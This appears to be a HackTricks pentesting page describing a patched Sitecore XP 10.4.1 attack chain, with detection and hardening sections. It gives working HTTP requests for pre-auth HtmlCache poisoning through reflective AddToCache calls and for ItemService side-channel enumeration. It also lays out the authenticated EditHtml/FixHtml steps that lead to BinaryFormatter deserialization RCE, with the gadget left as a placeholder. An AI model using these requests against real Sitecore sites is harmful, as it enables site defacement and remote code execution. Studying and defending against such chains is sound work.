// HackTricks · Network Services

Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

Sitecore Experience Platform (XP) – Pre‑auth HTML Cache Poisoning to Post‑auth RCE

This page summarizes a practical attack chain tested against Sitecore XP 10.4.1. It pivots from a pre-auth XAML handler to HTML cache poisoning and, through an authenticated UI flow, to RCE through BinaryFormatter deserialization.[1] The underlying primitives can guide testing of similar Sitecore components, but use Sitecore’s advisories to determine exposure for a specific product and release; exact handlers, control IDs, permissions, and cache keys can differ between deployments.

  • Research target: Sitecore XP 10.4.1 rev. 011628
  • Vendor fixes: KB1003667 and KB1003734 (June/July 2025). The related CVE records cover different product/version ranges, so assess CVE-2025-53691, CVE-2025-53693, and CVE-2025-53694 separately.[2][3][4][5][6]

See also:

Readme

Readme

Pre‑auth primitive: XAML Ajax reflection → HtmlCache write

The entry point is the pre-auth XAML handler registered in web.config:[1]

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessible via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

The control tree includes AjaxScriptManager which, on event requests, reads attacker‑controlled fields and reflectively invokes methods on targeted controls:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allow‑list (Sitecore.*), unlocking methods on Sitecore WebControl.

Magic method for poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
  HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
  if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a pre‑auth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notes:

  • __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as it’s derived from static XAML).
  • __PARAMETERS format is Method(“arg1”,“arg2”).

What to poison: Cache key construction

Typical HtmlCache key construction used by Sitecore controls:[1]

public virtual string GetCacheKey(){
  SiteContext site = Sitecore.Context.Site;
  if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
    string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
    if (key.Length > 0){
      string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
      if (this.VaryByData)        k += ResolveDataKeyPart();
      if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
      if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
      if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
      if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
      if (this.VaryByQueryString && site?.Request != null)
                                   k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
      if (this.ClearOnIndexUpdate) k += "_#index";
      return k;
    }
  }
  return string.Empty;
}

Example targeted poisoning for a known sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerating cacheable items and “vary by” dimensions

If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.[1]

Quick probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

List cacheable items and flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Side‑channel enumeration under restricted identities (CVE-2025-53694)

Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect pre‑ACL Solr hits. You can brute‑force item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:[1]

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:[1]

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
  htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. End‑to‑end without UI clicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
  <iframe id="test" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/pentesting-web/sitecore/poc" value="poc"></iframe>
  <test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The string’s contents are written into the HTML by ConvertWebControls after deserialization side‑effects execute.[1]

Basic .Net Deserialization Objectdataprovider Gadgets Expandedwrapper And Json.Net

Complete chain

  1. Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.[1]
  2. Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
  3. The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.

Detection

  • Pre‑auth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).[1]
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Hardening

  • Apply the Sitecore fixes that match the deployed product and version. Where compatibility permits, gate or disable unnecessary pre-auth XAML handlers, validate dispatched methods and parameters strictly, and monitor and rate-limit /-/xaml/ requests without disrupting legitimate editing workflows.[1][2][3]
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCount‑based side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References